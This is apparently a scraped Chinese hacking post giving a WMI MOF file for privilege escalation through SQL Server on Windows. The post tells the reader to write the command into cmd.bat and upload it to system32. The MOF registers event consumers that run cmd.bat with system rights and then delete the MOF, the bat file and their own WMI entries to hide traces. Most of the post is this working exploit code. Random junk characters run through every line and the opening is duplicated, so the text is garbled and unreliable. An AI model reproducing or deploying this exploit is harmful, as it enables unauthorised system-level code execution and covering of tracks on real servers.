这个sql提权MOF需要运行 system下的文件,不能定义路径。/ W" ^, I1 m- v, A2 @
需要将要运行的命令写入到bat上传到system32目录,然后执行。' V- a1 j# f8 {
. y- u0 A) p6 Y! w0 ^* L( k) j这个sql提权MOF需要运行 system下的文件,不能定义路径。3 t3 l( \7 s& Y/ S3 `& q/ M
需要将要运行的命令写入到bat上传到system32目录,然后执行。9 A4 N7 u, ]5 k" @, e$ z# b
5 `- h, D( n* ] C5 y- I3 [#pragma: a$ o0 |9 C" h& D, U [6 t
namespace("\\\\.\\root\\cimv2"); l$ s. v0 m: `: T, Z h
class
, M( i5 y0 s+ u c( f" ? MyClass547
" U- q- c3 _ f9 S1 D" g { [key]# {; f- ^ |, k, q) s& }
string2 W0 G. K) X0 U6 g/ `
Name;/ ]. d; i, a2 Y; y% Z
};, u1 t3 T7 Y [
class
4 f. r& p0 N9 @8 z ActiveScriptEventConsumer
) e. K. ^, P+ } : __EventConsumer { [key]) Q1 R) X# ?. t9 v) r: I8 y
string
. o( e' @" q+ _3 Y2 z Name; [not_null]
/ L# j! A9 q8 Q5 c. q+ e% F; V5 N7 U7 R string
2 U1 U' }3 ]$ [2 N3 Y ScriptingEngine; string2 X. T/ m7 T! S% `* Y
ScriptFileName; [template]
$ c; \! F9 v- T, y9 S5 {% F string: G) {/ {- U, q. y5 @, a
ScriptText; uint32 KillTimeout;' y0 q$ j+ m! U# v/ a
}; instance of __Win32Provider as $P {
4 j' V t K! y0 e) h: H; J0 p Name( f- w# [2 I0 A1 C4 t! p
=/ l% o, ^0 t F" ~
"ActiveScriptEventConsumer"; CLSID =7 s* R3 C1 L3 c/ D* r8 e
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";# ?& R* [& V) M1 K! |( ?+ W9 x
PerUserInitialization
6 R" E' {) r0 M' j/ A = TRUE;
0 V$ Z1 N) b/ ~' O* i! X7 O( e }; instance of __EventConsumerProviderRegistration { Provider' M9 ?- l% ]! a$ V, f
= $P; ConsumerClassNames# E& g/ \3 _9 v/ n( g
=
$ G5 ^/ F2 i7 B; K' u {"ActiveScriptEventConsumer"};
) K; K, D# @" [6 S: |. Z };$ f- z0 N7 l& s; l8 K3 F2 @* U8 O
Instance of ActiveScriptEventConsumer
1 a9 B f; J* y' l7 u as $cons { Name
% W! x. N; U, ?1 b) E& l' T, j) h+ { =
/ s6 Z4 K R3 B4 ?: z- P "ASEC"; ScriptingEngine
L3 C4 {4 f; y =0 X) _& X3 g7 V+ E& g4 i
"JScript"; ScriptText
1 r8 {' } t, H) N( H" v =% r1 H$ G( s, H) `6 W
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };! O: t( D$ ^: s
Instance of ActiveScriptEventConsumer# `% m+ ]( z. Y/ k! O2 W
as $cons2 { Name
9 c( l3 n) c6 k7 x =
) T( E4 M# T1 T! H) ^+ ~% C& l( a; h "qndASEC"; ScriptingEngine
) p& N- _ @+ b/ I8 e =
3 O! P" K$ O5 }; S6 S7 a" P; I; e "JScript"; ScriptText: b; g" B, ~+ W
=% M7 d5 g1 X& L5 s. [1 D' _
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";' S0 a) M8 @; F; U6 G, J
}; instance of __EventFilter as $Filt { Name( l6 S9 ?2 I/ b t9 D
=& S {6 T/ D( f# w
"instfilt"; Query7 F6 m" M0 M$ b% C; o
=" a& ^7 p. G/ C! W( M; q" v5 D; d! c
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
! u2 ~* {' M* n- U8 N, f3 i0 X =4 H6 E! P, ]- l3 T% x3 X( U
"WQL"; }; instance of __EventFilter as $Filt2 { Name) I0 z# P' a2 _, ~
=
5 J0 F- a# v5 r% B "qndfilt"; Query
4 K6 U1 s# H) g" W, x =" \3 S' N7 r. F$ g& a. K% L
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
: W7 D/ N; a. c; h =! c# v+ {( M. d
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer$ ]# i( V+ d, K* _
= $cons; Filter: t5 H2 C! u e% g+ ~2 m/ V* s1 o
= $Filt;
4 K7 m( i% g9 J3 O: Q' _ }; instance of __FilterToConsumerBinding as $bind2 { Consumer
% x/ i% x2 r# z5 D3 \, M) \7 k9 I = $cons2; Filter
m4 f: }2 f8 C% I = $Filt2;
9 Z7 Q- R' y a2 y9 A I! f }; instance of MyClass547* h' M0 P) [9 t. {* D/ q& h6 u9 b
as $MyClass { Name- k+ J4 w! x. s! Z# I1 |
=% }* b$ }4 x5 ~4 N# ]
"ClassConsumer";
& w" {+ ^& L2 U* h d9 y }; |